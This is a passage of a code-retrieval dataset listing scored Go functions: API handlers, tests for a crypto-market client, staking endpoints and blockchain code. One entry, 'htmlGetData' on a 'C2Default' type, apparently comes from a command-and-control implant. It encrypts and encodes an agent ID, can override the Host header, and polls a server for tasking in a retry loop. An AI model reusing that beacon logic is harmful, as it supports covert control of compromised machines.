jsonStockPrices)\n\tif err != nil {\n\t\tlog.Printf(\"Error building service response for stock symbol %s due to: %v\", stockSymbol, err)\n\t\thttp.Error(w, \"Error building service response\", http.StatusInternalServerError)\n\t\treturn \"\"\n\t}\n\n\treturn serviceResp\n}", "title": "" }, { "docid": "35aa655d699692180d3c95ef5eb97873", "score": "0.49894357", "text": "func TestGetGlobalTicker(t *testing.T) {\n\tif plan == \"free\" {\n\t\tt.Skip(\"Skipping /global-ticker API endpoint. (Paid Plan) testing.\")\n\t} else {\n\t\tt.Log(\"Testing /global-ticker API endpoint. (Paid Plan)\")\n\t\t// demoAPIKey is defined in connector.go\n\t\t// Please check this latest demo key published in nomics doc or use private key for paid API endpoint testing.\n\t\tc := New(demoAPIKey)\n\n\t\t// We can modify Timeout, Transport etc of http if the default is not good.\n\t\tc.HTTPClient.Timeout = time.Second * 10\n\n\t\tgtReq := GlobalTickerRequest{\n\t\t\tConvert: \"EUR\",\n\t\t}\n\t\tgtResp, err := c.GetGlobalTicker(gtReq)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\tif len(gtResp) < 1 {\n\t\t\tt.Error(\"Something is wrong here, length of response array is 0.\")\n\t\t}\n\t\tfor _, gt := range gtResp {\n\t\t\tif gt.Three0D.Volume == 0 {\n\t\t\t\tt.Error(\"Something is wrong here, value of response arrays 30d volume is 0.\")\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9c3be7ae0ddf3b36edbd35ef2a23681c", "score": "0.4887522", "text": "func GetTotalSupply(w http.ResponseWriter, r *http.Request) {\n\n\t// Add header so that received knows they're receiving JSON\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\n\t// Retrieving name of node from query request\n\tnodeName := r.URL.Query().Get(\"name\")\n\tconfirmation, socket := checkNodeName(nodeName)\n\tif confirmation == false {\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Node name requested doesn't exist\"})\n\t\treturn\n\t}\n\n\trecvHeight := r.URL.Query().Get(\"height\")\n\theight := checkHeight(recvHeight)\n\tif height == -1 {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Unexepcted value found, height needs to be string of int!\"})\n\t\treturn\n\t}\n\n\t// Attempt to load connection with staking client\n\tconnection, so := loadStakingClient(socket)\n\n\t// Close connection once code underneath executes\n\tdefer connection.Close()\n\n\t// If null object was retrieved send response\n\tif so == nil {\n\n\t\t// Stop code here faild to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to establish connection using socket : \" + socket})\n\t\treturn\n\t}\n\n\t// Using Oasis API to return total supply of tokens at specific block height\n\ttotalSupply, err := so.TotalSupply(context.Background(), height)\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to get TotalSupply!\"})\n\t\tlgr.Error.Println(\n\t\t\t\"Request at /api/staking/totalsupply failed to retrieve \"+\n\t\t\t\t\"totalsupply : \", err)\n\t\treturn\n\t}\n\n\tlgr.Info.Println(\"Request at /api/staking/totalsupply responding with \" +\n\t\t\"TotalSupply!\")\n\tjson.NewEncoder(w).Encode(responses.QuantityResponse{Quantity: totalSupply})\n}", "title": "" }, { "docid": "1729f4c2c19b90503c3466b6be69f463", "score": "0.48862636", "text": "func TestGetTrades(t *testing.T) {\n\tif plan == \"free\" {\n\t\tt.Skip(\"Skipping /trades API endpoint. (Paid Plan) testing.\")\n\t} else {\n\t\tt.Log(\"Testing /trades API endpoint. (Paid Plan)\")\n\t\t// demoAPIKey is defined in connector.go\n\t\t// Please check this latest demo key published in nomics doc or use private key for paid API endpoint testing.\n\t\tc := New(demoAPIKey)\n\n\t\t// We can modify Timeout, Transport etc of http if the default is not good.\n\t\tc.HTTPClient.Timeout = time.Second * 10\n\n\t\t// Json format.\n\t\tt.Log(\"Testing for JSON format.\")\n\t\tfromTime, _ := time.Parse(time.RFC3339, \"2021-01-01T00:00:00Z\")\n\t\ttReqJSON := TradesRequest{\n\t\t\tExchange: \"binance\",\n\t\t\tMarket: \"BTCUSDT\",\n\t\t\tLimit: 100,\n\t\t\tOrder: \"asc\",\n\t\t\tFrom: fromTime,\n\t\t}\n\t\ttRespJSON, err := c.GetTrades(tReqJSON)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\tif len(tRespJSON) < 1 {\n\t\t\tt.Error(\"Something is wrong here, length of response array is 0. JSON Format.\")\n\t\t}\n\t\tfor _, tr := range tRespJSON {\n\t\t\tif tr.Volume == 0 {\n\t\t\t\tt.Error(\"Something is wrong here, value of response arrays volume is 0. JSON Format.\")\n\t\t\t}\n\t\t}\n\n\t\t// CSV format.\n\t\tt.Log(\"Testing for CSV format.\")\n\t\ttReqCSV := TradesRequest{\n\t\t\tExchange: \"binance\",\n\t\t\tMarket: \"BTCUSDT\",\n\t\t\tLimit: 100,\n\t\t\tOrder: \"asc\",\n\t\t\tFrom: fromTime,\n\t\t\tFormat: \"csv\",\n\t\t\tFileNameWithPath: \"./testdata/trades.csv\",\n\t\t}\n\t\t_, err = c.GetTrades(tReqCSV)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\tf, err := os.Open(tReqCSV.FileNameWithPath)\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\tdefer f.Close()\n\t\tcsvData, err := csv.NewReader(f).ReadAll()\n\t\tif err != nil {\n\t\t\tt.Error(err)\n\t\t}\n\t\tif len(csvData) < 1 {\n\t\t\tt.Error(\"Something is wrong here, length of response array is 0. CSV Format.\")\n\t\t}\n\t\tfor _, data := range csvData {\n\t\t\ttr, err := strconv.ParseFloat(data[3], 64)\n\t\t\tif err != nil {\n\t\t\t\tt.Error(\"Something is wrong here, value of response arrays volume is 0. CSV Format.\")\n\t\t\t}\n\t\t\tif tr == 0 {\n\t\t\t\tt.Error(\"Something is wrong here, value of response arrays volume is 0. CSV Format.\")\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "eace4276c0a87fa0301fd541a101a7e3", "score": "0.48560143", "text": "func getAirPollutionData() {\n\tticker := time.NewTicker(30 * time.Second)\n\tdefer ticker.Stop()\n\n\tfor ; true; <-ticker.C {\n\t\tserRes := newServerResponse(3)\n\t\t// Retry getting data\n\t\tfor serRes.retries > 0 {\n\t\t\tserRes.res, serRes.err = http.Get(\"https://opendata.epa.gov.tw/ws/Data/ATM00625/?$format=json\")\n\t\t\tif serRes.err != nil {\n\t\t\t\tlog.Println(serRes.err)\n\t\t\t\tserRes.retries--\n\t\t\t\ttime.Sleep(3 * time.Second)\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif serRes.res != nil {\n\t\t\thelpRead(serRes.res)\n\t\t} else {\n\t\t\tfmt.Println(\"Server response is empty !!\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "645a37f36eeffebc477f6df022ac060b", "score": "0.47924194", "text": "func (h *Handler) Get(w http.ResponseWriter, r *http.Request) {\n\n\tfrom, err := data.GetDateFromNbOfDays(-30)\n\n\tif err != nil {\n\t\te := Error{\n\t\t\tMessage: \"An error occured when trying to retrieve the deliveries\",\n\t\t}\n\t\tJSONWithHTTPCode(w, e, 500)\n\t\treturn\n\t}\n\n\t*from = from.UTC()\n\tn := time.Now().UTC().Truncate(time.Minute).Format(time.RFC3339)\n\n\tdata, err := h.Source.GetBetweenInterval(from.Format(time.RFC3339), n)\n\n\tif err != nil {\n\t\te := Error{\n\t\t\tMessage: \"An error occured when trying to retrieve the deliveries\",\n\t\t}\n\t\tJSONWithHTTPCode(w, e, 500)\n\t\treturn\n\t}\n\n\tJSON(w, data)\n\n}", "title": "" }, { "docid": "af090d7491dd83d9a417bde1df7a566f", "score": "0.47833863", "text": "func roundFlow(c *bm.Context) {\n\treq := c.Request\n\tparam := req.Form\n\tstimeStr := param.Get(\"stime\")\n\tetimeStr := param.Get(\"etime\")\n\tif stimeStr == \"\" {\n\t\tstimeStr = time.Now().Format(\"2006-01-02\") + \" 00:00:00\"\n\t}\n\tif etimeStr == \"\" {\n\t\tetimeStr = time.Now().Format(\"2006-01-02\") + \" 00:00:00\"\n\t}\n\tlocal, _ := time.LoadLocation(\"Local\")\n\tstime, err := time.ParseInLocation(\"2006-01-02 15:04:05\", stimeStr, local)\n\tif stime.Unix() < 1 || err != nil {\n\t\tc.JSON(nil, ecode.RequestErr)\n\t\treturn\n\t}\n\tetime, err := time.ParseInLocation(\"2006-01-02 15:04:05\", etimeStr, local)\n\tif etime.Unix() < 1 || err != nil {\n\t\tc.JSONMap(map[string]interface{}{\"message\": err.Error()}, ecode.RequestErr)\n\t\treturn\n\t}\n\n\tc.JSON(vdaSvc.RoundFlow(c, stime, etime))\n}", "title": "" }, { "docid": "a78050cef5fbb2e2c137d902d98bd18d", "score": "0.47786024", "text": "func Stocks(w http.ResponseWriter, r *http.Request) {\n\tif r.Method != http.MethodGet {\n\t\thttp.Error(w, http.StatusText(http.StatusMethodNotAllowed), http.StatusMethodNotAllowed)\n\t\treturn\n\t}\n\n\tstockExchangeValue := make([]string, 0)\n\tsymbol := r.URL.Path[len(pathStocks):]\n\n\tqueryParam := r.URL.Query()\n\n\tvar stockExchangeParamValue string\n\n\tif len(queryParam) > 0 {\n\t\tstockExchangeParamValue = queryParam.Get(stockExchangeParamName)\n\t}\n\n\tif len(stockExchangeParamValue) > 0 {\n\t\tstockExchangeValue = append(stockExchangeValue, strings.Split(stockExchangeParamValue, \",\")...)\n\t} else {\n\t\tstockExchangeValue = append(stockExchangeValue, defaultStockExchange)\n\t}\n\n\tif len(symbol) == 0 {\n\t\thttp.Error(w, errorMsg+\"invalid parameter\", http.StatusBadRequest)\n\t\tfmt.Println(errorMsg + \"invalid parameter\")\n\t\treturn\n\t}\n\n\tresult, err := models.GetData(symbol, stockExchangeValue)\n\n\tif err != nil {\n\t\thttp.Error(w, errorMsg+err.Error(), http.StatusInternalServerError)\n\t\tfmt.Println(errorMsg + err.Error())\n\t\treturn\n\t}\n\n\tif len(result) == 0 {\n\t\thttp.Error(w, errorMsg+\"no result\", http.StatusBadRequest)\n\t\tfmt.Println(errorMsg + \"no result\")\n\t\treturn\n\t}\n\n\tConvertToJSON(w, result)\n\n}", "title": "" }, { "docid": "33b72db5aac71edd0d96dde3f6453630", "score": "0.47711316", "text": "func getBudgetCredits(e *httpexpect.Expect, t *testing.T) {\n\ttestCases := []testCase{\n\t\tnotLoggedTestCase, // 0 : missing token\n\t\t{\n\t\t\tToken: testCtx.User.Token,\n\t\t\tStatus: http.StatusOK,\n\t\t\tBodyContains: []string{\"BudgetCredits\", \"BudgetChapter\"},\n\t\t\tArraySize: 78,\n\t\t\tCountItemName: `\"id\"`,\n\t\t}, // 1 : ok\n\t}\n\n\tf := func(tc testCase) *httpexpect.Response {\n\t\treturn e.GET(\"/api/budget_credits\").\n\t\t\tWithHeader(\"Authorization\", \"Bearer \"+tc.Token).Expect()\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"GetBudgetCredits\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "f7e57116a6f0d54795956a2441128ec2", "score": "0.4753442", "text": "func GetEvents(w http.ResponseWriter, r *http.Request) {\n\n\t// Add header so that received knows they're receiving JSON\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\n\t// Retrieving name of node from query request\n\tnodeName := r.URL.Query().Get(\"name\")\n\tconfirmation, socket := checkNodeName(nodeName)\n\tif confirmation == false {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Node name requested doesn't exist\"})\n\t\treturn\n\t}\n\n\t// Retrieving height from query request\n\trecvHeight := r.URL.Query().Get(\"height\")\n\theight := checkHeight(recvHeight)\n\tif height == -1 {\n\n\t\t// Stop code here no need to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Unexepcted value found, height needs to be string of int!\"})\n\t\treturn\n\t}\n\n\t// Attempt to load connection with staking client\n\tconnection, so := loadStakingClient(socket)\n\n\t// Close connection once code underneath executes\n\tdefer connection.Close()\n\n\t// If null object was retrieved send response\n\tif so == nil {\n\n\t\t// Stop code here faild to establish connection and reply\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to establish connection using socket : \" + socket})\n\t\treturn\n\t}\n\n\t// Return accounts from staking client\n\tevents, err := so.GetEvents(context.Background(), height)\n\tif err != nil {\n\t\tjson.NewEncoder(w).Encode(responses.ErrorResponse{\n\t\t\tError: \"Failed to get Events!\"})\n\t\tlgr.Error.Println(\n\t\t\t\"Request at /api/staking/events failed to retrieve Events : \", err)\n\t\treturn\n\t}\n\n\t// Respond with array of all accounts\n\tlgr.Info.Println(\"Request at /api/staking/events responding with\" +\n\t\t\" Events!\")\n\tjson.NewEncoder(w).Encode(responses.StakingEvents{StakingEvents: events})\n}", "title": "" }, { "docid": "7c8a4b4327976f0aea6e8c47e50e0698", "score": "0.47533742", "text": "func sendTemperatures() {\n\tvar status int\n\tvar body []byte\n\n\tvar netClient = &http.Client{\n\t\tTimeout: time.Second * 30,\n\t}\n\tlog.Debugf(\"Sending GET to: %s\", configFile.urlTempServer)\n\tresponse, err := netClient.Get(configFile.urlTempServer)\n\tif err != nil {\n\t\tlog.Errorf(\"The HTTP request failed with error %s\\n\", err)\n\t} else {\n\t\tstatus = response.StatusCode\n\t\tbody, _ = ioutil.ReadAll(response.Body)\n\t}\n\tlog.Info(status, \" - \"+string(body))\n\n}", "title": "" }, { "docid": "7a32e4b151eb4c34c2caf46376cbf835", "score": "0.4706807", "text": "func getStock(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tvar stoc AutoGenerated\n\n\t//Gets and saves the JSON into response from YFinance\n\tresponse, err := http.Get(\"https://query1.finance.yahoo.com/v10/finance/quoteSummary/AAPL?modules=summaryDetail%2CsummaryProfile\")\n\tif err != nil {\n\t\tpanic(err)\n\t} else {\n\t\tdecoder := json.NewDecoder(response.Body)\n\t\terr := decoder.Decode(&stoc)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tdefer response.Body.Close()\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\n\t\tvar stock Stock\n\n\t\tfor _, s := range stoc.QuoteSummary.Result {\n\t\t\tprice := s.SummaryDetail.RegularMarketOpen.Raw\n\t\t\tcap := s.SummaryDetail.RegularMarketVolume.Fmt\n\t\t\tloc := s.SummaryProfile.City\n\t\t\tstock = Stock{Name: \"Apple\", Symbol: \"AAPL\", Price: price, Capacity: cap, Location: loc}\n\t\t}\n\n\t\tjson.NewEncoder(w).Encode(stock)\n\n\t}\n\n}", "title": "" }, { "docid": "869af712ca3f37e99b5b72138f70de73", "score": "0.46956265", "text": "func TestGetSLISleep(t *testing.T) {\n\tokResponse := `{\n\t\t\"totalCount\": 3,\n\t\t\"nextPageKey\": null,\n\t\t\"result\": [\n\t\t\t{\n\t\t\t\t\"metricId\": \"builtin:service.response.time:merge(0):percentile(50)\",\n\t\t\t\t\"data\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"dimensions\": [],\n\t\t\t\t\t\t\"timestamps\": [\n\t\t\t\t\t\t\t1579097520000\n\t\t\t\t\t\t],\n\t\t\t\t\t\t\"values\": [\n\t\t\t\t\t\t\t8433.40\n\t\t\t\t\t\t]\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}`\n\n\th := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Write([]byte(okResponse))\n\t})\n\n\thttpClient, teardown := testingHTTPClient(h)\n\tdefer teardown()\n\n\tdh := NewDynatraceHandler(\"http://dynatrace\", \"sockshop\", \"dev\", \"carts\", nil, nil, \"\")\n\tdh.HTTPClient = httpClient\n\n\tstart := time.Now().Add(-5 * time.Minute).Format(time.RFC3339)\n\t// artificially increase end time to be in the future\n\tend := time.Now().Add(-80 * time.Second).Format(time.RFC3339)\n\tvalue, err := dh.GetSLIValue(ResponseTimeP50, start, end, []*events.SLIFilter{})\n\n\tassert.InDelta(t, 8.43340, value, 0.001)\n\tassert.Nil(t, err)\n}", "title": "" }, { "docid": "c9c885bc7343c1c2e93b53e12f213816", "score": "0.46526247", "text": "func getProgrammingsTest(e *httpexpect.Expect, t *testing.T) {\n\ttestCases := []testCase{\n\t\tnotLoggedTestCase,\n\t\t{\n\t\t\tToken: testCtx.Admin.Token,\n\t\t\tParam: \"2018\",\n\t\t\tStatus: http.StatusOK,\n\t\t\tBodyContains: []string{\"Programmings\", `\"PrevCommitmentTotal\":96730644861`},\n\t\t\tCountItemName: `\"id\"`,\n\t\t\tArraySize: 626},\n\t}\n\tf := func(tc testCase) *httpexpect.Response {\n\t\treturn e.GET(\"/api/programmings\").WithHeader(\"Authorization\", \"Bearer \"+tc.Token).\n\t\t\tWithQuery(\"year\", tc.Param).Expect()\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"GetProgrammings\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "9272d5d83c5bebc13fd13c8b484bc599", "score": "0.4590455", "text": "func (this ResponseDetailsViewV5) GetFixedDelay() int { return this.FixedDelay }", "title": "" }, { "docid": "1cffb1b4db0ab16eeb76e24e7b252e1a", "score": "0.45877653", "text": "func (a *appService) getTravels(c *fiber.Ctx) error {\n\tctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)\n\n\tdefer cancel()\n\n\ttravels, err := a.Repository.findAll(ctx)\n\treturn response(travels, http.StatusOK, err, c)\n}", "title": "" }, { "docid": "98cb524655cebaf50acfb66df7518d04", "score": "0.45848808", "text": "func (c *C2Default) htmlGetData(url string, body []byte) []byte {\n\t//log.Println(\"Sending HTML GET request to url: \", url)\n\tclient := &http.Client{\n\t\tTimeout: 30 * time.Second,\n\t}\n\tvar respBody []byte\n\n\tfor true {\n\t\tif len(c.Key) > 0 && len(body) > 0 {\n\t\t\tbody = c.encryptMessage(body) // Encrypt and then encapsulate the task request\n\t\t}\n\t\tencapbody := append([]byte(c.ApfellID), body...) // Prepend the UUID to the body of the request\n\t\tencbody := base64.StdEncoding.EncodeToString(encapbody) // Base64 the body\n\n\t\treq, err := http.NewRequest(\"GET\", url, bytes.NewBuffer([]byte(encbody)))\n\t\tif err != nil {\n\t\t\t//time.Sleep(time.Duration(c.SleepInterval()) * time.Second)\n\t\t\ttime.Sleep(time.Duration(c.getSleepTime()) * time.Second)\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(c.HostHeader) > 0 {\n\t\t\t//req.Header.Set(\"Host\", c.HostHeader)\n\t\t\treq.Host = c.HostHeader\n\t\t}\n\n\t\treq.Header.Set(\"User-Agent\", c.UserAgent)\n\t\tresp, err := client.Do(req)\n\n\t\tif err != nil {\n\t\t\t//time.Sleep(time.Duration(c.SleepInterval()) * time.Second)\n\t\t\ttime.Sleep(time.Duration(c.getSleepTime()) * time.Second)\n\t\t\tcontinue\n\t\t}\n\n\t\tif resp.StatusCode != 200 {\n\t\t\t//time.Sleep(time.Duration(c.SleepInterval()) * time.Second)\n\t\t\ttime.Sleep(time.Duration(c.getSleepTime()) * time.Second)\n\t\t\tcontinue\n\t\t}\n\n\t\tdefer resp.Body.Close()\n\n\t\trespBody, _ = ioutil.ReadAll(resp.Body)\n\t\traw, _ := base64.StdEncoding.DecodeString(string(respBody))\n\t\tenc_raw := raw[36:] // Remove the prepended UUID\n\t\tif len(c.Key) != 0 {\n\t\t\tenc_raw = c.decryptMessage(enc_raw)\n\t\t\tif len(enc_raw) == 0 {\n\t\t\t\t//time.Sleep(time.Duration(c.SleepInterval()) * time.Second)\n\t\t\t\ttime.Sleep(time.Duration(c.getSleepTime()) * time.Second)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\t//log.Printf(\"Raw htmlget response: %s\\n\", string(enc_raw))\n\t\treturn enc_raw\n\t}\n\treturn make([]byte, 0) //shouldn't get here\n\n}", "title": "" }, { "docid": "d879b752af7f76c0b427fe092b75089f", "score": "0.4549142", "text": "func GatherRemainingRequests() {\r\n\r\n}", "title": "" }, { "docid": "e7deff4482d5d2e9b4af530475c30c81", "score": "0.45360407", "text": "func getStepsTest(e *httpexpect.Expect, t *testing.T) {\n\ttestCases := []testCase{\n\t\tnotLoggedTestCase,\n\t\t{\n\t\t\tToken: testCtx.User.Token,\n\t\t\tStatus: http.StatusOK,\n\t\t\t//cSpell:disable\n\t\t\tBodyContains: []string{\"Step\", \"name\", \"Protocole\",\n\t\t\t\t\"Travaux en cours (financés)\", \"Travaux préparatoires\", \"SDMR\"}},\n\t\t//cSpell:enable\n\t}\n\tf := func(tc testCase) *httpexpect.Response {\n\t\treturn e.GET(\"/api/steps\").WithHeader(\"Authorization\", \"Bearer \"+tc.Token).Expect()\n\t}\n\tfor _, r := range chkTestCases(testCases, f, \"GetSteps\") {\n\t\tt.Error(r)\n\t}\n}", "title": "" }, { "docid": "af04b56822b9d1acdb43929994d8c2a1", "score": "0.4533854", "text": "func (lsn *listenerV2) simulateFulfillment(\n\tctx context.Context,\n\tmaxGasPriceWei *assets.Wei,\n\treq pendingRequest,\n\tlg logger.Logger,\n) vrfPipelineResult {\n\tvar (\n\t\tres = vrfPipelineResult{req: req}\n\t\terr error\n\t)\n\t// estimate how much funds are needed so that we can log it if the simulation fails.\n\tres.fundsNeeded, err = lsn.estimateFee(ctx, req.req, maxGasPriceWei)\n\tif err != nil {\n\t\t// not critical, just log and continue\n\t\tlg.Warnw(\"unable to estimate funds needed for request, continuing anyway\",\n\t\t\t\"reqID\", req.req.RequestID(),\n\t\t\t\"err\", err)\n\t\tres.fundsNeeded = big.NewInt(0)\n\t}\n\n\tvars := pipeline.NewVarsFrom(map[string]interface{}{\n\t\t\"jobSpec\": map[string]interface{}{\n\t\t\t\"databaseID\": lsn.job.ID,\n\t\t\t\"externalJobID\": lsn.job.ExternalJobID,\n\t\t\t\"name\": lsn.job.Name.ValueOrZero(),\n\t\t\t\"publicKey\": lsn.job.VRFSpec.PublicKey[:],\n\t\t\t\"maxGasPrice\": maxGasPriceWei.ToInt().String(),\n\t\t},\n\t\t\"jobRun\": map[string]interface{}{\n\t\t\t\"logBlockHash\": req.req.Raw().BlockHash.Bytes(),\n\t\t\t\"logBlockNumber\": req.req.Raw().BlockNumber,\n\t\t\t\"logTxHash\": req.req.Raw().TxHash,\n\t\t\t\"logTopics\": req.req.Raw().Topics,\n\t\t\t\"logData\": req.req.Raw().Data,\n\t\t},\n\t})\n\tvar trrs pipeline.TaskRunResults\n\tres.run, trrs, err = lsn.pipelineRunner.ExecuteRun(ctx, *lsn.job.PipelineSpec, vars, lg)\n\tif err != nil {\n\t\tres.err = errors.Wrap(err, \"executing run\")\n\t\treturn res\n\t}\n\t// The call task will fail if there are insufficient funds\n\tif res.run.AllErrors.HasError() {\n\t\tres.err = errors.WithStack(res.run.AllErrors.ToError())\n\n\t\tif strings.Contains(res.err.Error(), \"blockhash not found in store\") {\n\t\t\tres.err = multierr.Combine(res.err, errBlockhashNotInStore{})\n\t\t} else if strings.Contains(res.err.Error(), \"execution reverted\") {\n\t\t\t// Even if the simulation fails, we want to get the\n\t\t\t// txData for the fulfillRandomWords call, in case\n\t\t\t// we need to force fulfill.\n\t\t\tfor _, trr := range trrs {\n\t\t\t\tif trr.Task.Type() == pipeline.TaskTypeVRFV2 {\n\t\t\t\t\tif trr.Result.Error != nil {\n\t\t\t\t\t\t// error in VRF proof generation\n\t\t\t\t\t\t// this means that we won't be able to force-fulfill in the event of a\n\t\t\t\t\t\t// canceled sub and active requests.\n\t\t\t\t\t\t// since this would be an extraordinary situation,\n\t\t\t\t\t\t// we can log loudly here.\n\t\t\t\t\t\tlg.Criticalw(\"failed to generate VRF proof\", \"err\", trr.Result.Error)\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\n\t\t\t\t\t// extract the abi-encoded tx data to fulfillRandomWords from the VRF task.\n\t\t\t\t\t// that's all we need in the event of a force-fulfillment.\n\t\t\t\t\tm := trr.Result.Value.(map[string]any)\n\t\t\t\t\tres.payload = m[\"output\"].(string)\n\t\t\t\t\tres.proof = FromV2Proof(m[\"proof\"].(vrf_coordinator_v2.VRFProof))\n\t\t\t\t\tres.reqCommitment = NewRequestCommitment(m[\"requestCommitment\"])\n\t\t\t\t}\n\t\t\t}\n\t\t\tres.err = multierr.Combine(res.err, errPossiblyInsufficientFunds{})\n\t\t}\n\n\t\treturn res\n\t}\n\tfinalResult := trrs.FinalResult(lg)\n\tif len(finalResult.Values) != 1 {\n\t\tres.err = errors.Errorf(\"unexpected number of outputs, expected 1, was %d\", len(finalResult.Values))\n\t\treturn res\n\t}\n\n\t// Run succeeded, we expect a byte array representing the billing amount\n\tb, ok := finalResult.Values[0].([]uint8)\n\tif !ok {\n\t\tres.err = errors.New(\"expected []uint8 final result\")\n\t\treturn res\n\t}\n\tres.maxFee = utils.HexToBig(hexutil.Encode(b)[2:])\n\tfor _, trr := range trrs {\n\t\tif trr.Task.Type() == pipeline.TaskTypeVRFV2 {\n\t\t\tm := trr.Result.Value.(map[string]interface{})\n\t\t\tres.payload = m[\"output\"].(string)\n\t\t\tres.proof = FromV2Proof(m[\"proof\"].(vrf_coordinator_v2.VRFProof))\n\t\t\tres.reqCommitment = NewRequestCommitment(m[\"requestCommitment\"])\n\t\t}\n\n\t\tif trr.Task.Type() == pipeline.TaskTypeVRFV2Plus {\n\t\t\tm := trr.Result.Value.(map[string]interface{})\n\t\t\tres.payload = m[\"output\"].(string)\n\t\t\tres.proof = FromV2PlusProof(m[\"proof\"].(vrf_coordinator_v2plus.VRFProof))\n\t\t\tres.reqCommitment = NewRequestCommitment(m[\"requestCommitment\"])\n\t\t}\n\n\t\tif trr.Task.Type() == pipeline.TaskTypeEstimateGasLimit {\n\t\t\tres.gasLimit = trr.Result.Value.(uint32)\n\t\t}\n\t}\n\treturn res\n}", "title": "" }, { "docid": "4e817ee2ec5313011857df42b1af3e0f", "score": "0.45162597", "text": "func (e *Endpoints) GetAttackEndpoint(c *gin.Context) {\n\tfilterMap := make(models.FilterParams)\n\tfilterMap[\"status\"] = c.DefaultQuery(\"status\", \"\")\n\tfilterMap[\"created_before\"] = c.DefaultQuery(\"created_before\", \"\")\n\tfilterMap[\"created_after\"] = c.DefaultQuery(\"created_after\", \"\")\n\tresp := e.dispatcher.List(\n\t\t//models.StatusFilter(status),\n\t\tfilterMap,\n\t)\n\n\tc.JSON(http.StatusOK, resp)\n}", "title": "" }, { "docid": "1f315e6e07c18b609b75d71df4454757", "score": "0.45068896", "text": "func (t *Deliverys) getAllDAPDelivery(stub shim.ChaincodeStubInterface, args []string) pb.Response {\r\n\r\n\tif len(args) != 0 {\r\n\t\treturn shim.Error(\"No arguements required\")\r\n }\r\n \r\n\tvar jsonResp, errResp string\r\n\tvar err error\r\n\tvar DeliveryIndex []string\r\n\r\n\tfmt.Println(\"- start getAllDAPDelivery\")\r\n\tDelivery_Bytes, err := stub.GetState(DelIndexStr)\r\n\tif err != nil {\r\n\t\treturn shim.Error(\"Failed to get DAP Delivery Request index\")\r\n\t}\r\n\tfmt.Print(\"Delivery_Bytes : \")\r\n\tfmt.Println(Delivery_Bytes)\r\n\tjson.Unmarshal(Delivery_Bytes, &DeliveryIndex)\t\t//un stringify it aka JSON.parse()\r\n\tfmt.Print(\"DeliveryIndex : \")\r\n\tfmt.Println(DeliveryIndex)\r\n\tfmt.Println(\"len(DeliveryIndex) : \")\r\n\tfmt.Println(len(DeliveryIndex))\r\n\tjsonResp = \"[\"\r\n\tfor i,val := range DeliveryIndex{\r\n\t\tfmt.Println(strconv.Itoa(i) + \" - looking at \" + val + \" for all Reg request\")\r\n\t\tvalueAsBytes, err := stub.GetState(val)\r\n\t\tif err != nil {\r\n\t\t\terrResp = \"{\\\"Error\\\":\\\"Failed to get state for \" + val + \"\\\"}\"\r\n\t\t\treturn shim.Error(errResp)\r\n\t\t}\r\n\t\tfmt.Print(\"valueAsBytes : \")\r\n\t\tfmt.Println(valueAsBytes)\r\n\t\tjsonResp = jsonResp + string(valueAsBytes[:])\r\n\t\tif i < len(DeliveryIndex)-1 {\r\n\t\t\tjsonResp = jsonResp + \",\"\r\n\t\t}\r\n\t}\r\n\t// sz := len(jsonResp)\r\n\t// if sz > 0 && jsonResp[sz] == ',' { \r\n\t// \tjsonResp = jsonResp[:sz-1]\r\n\t// }\r\n\tjsonResp = jsonResp + \"]\"\r\n\tfmt.Println(\"jsonResp : \" + jsonResp)\r\n\tfmt.Println(\"end getAllDAPDelivery\")\r\n\ttosend := \"Event send\"\r\n err = stub.SetEvent(\"evtsender\", []byte(tosend))\r\n if err != nil {\r\n return shim.Error(err.Error())\r\n }\r\n\treturn shim.Success([]byte(jsonResp))\r\n}", "title": "" }, { "docid": "9cedcb103e77dd4a536f5813469985db", "score": "0.44596764", "text": "func MeasurementsGET(w http.ResponseWriter, r *http.Request) {\n\t// Get condition GET parameter\n\tcondition := r.URL.Query().Get(\"condition\")\n\n\t// Validate condition\n\treg, errReg := regexp.Compile(\"^(\\\\w+[<>=]+\\\\w+(\\\\s(and|or)\\\\s?)?)*$\")\n\tif errReg != nil {\n\t\tlog.Println(errReg)\n\t\tresponse.SendError(w, http.StatusInternalServerError, friendlyError)\n\t\treturn\n\t}\n\tif !reg.MatchString(condition) {\n\t\tlog.Println(\"Wrong condition statement: \" 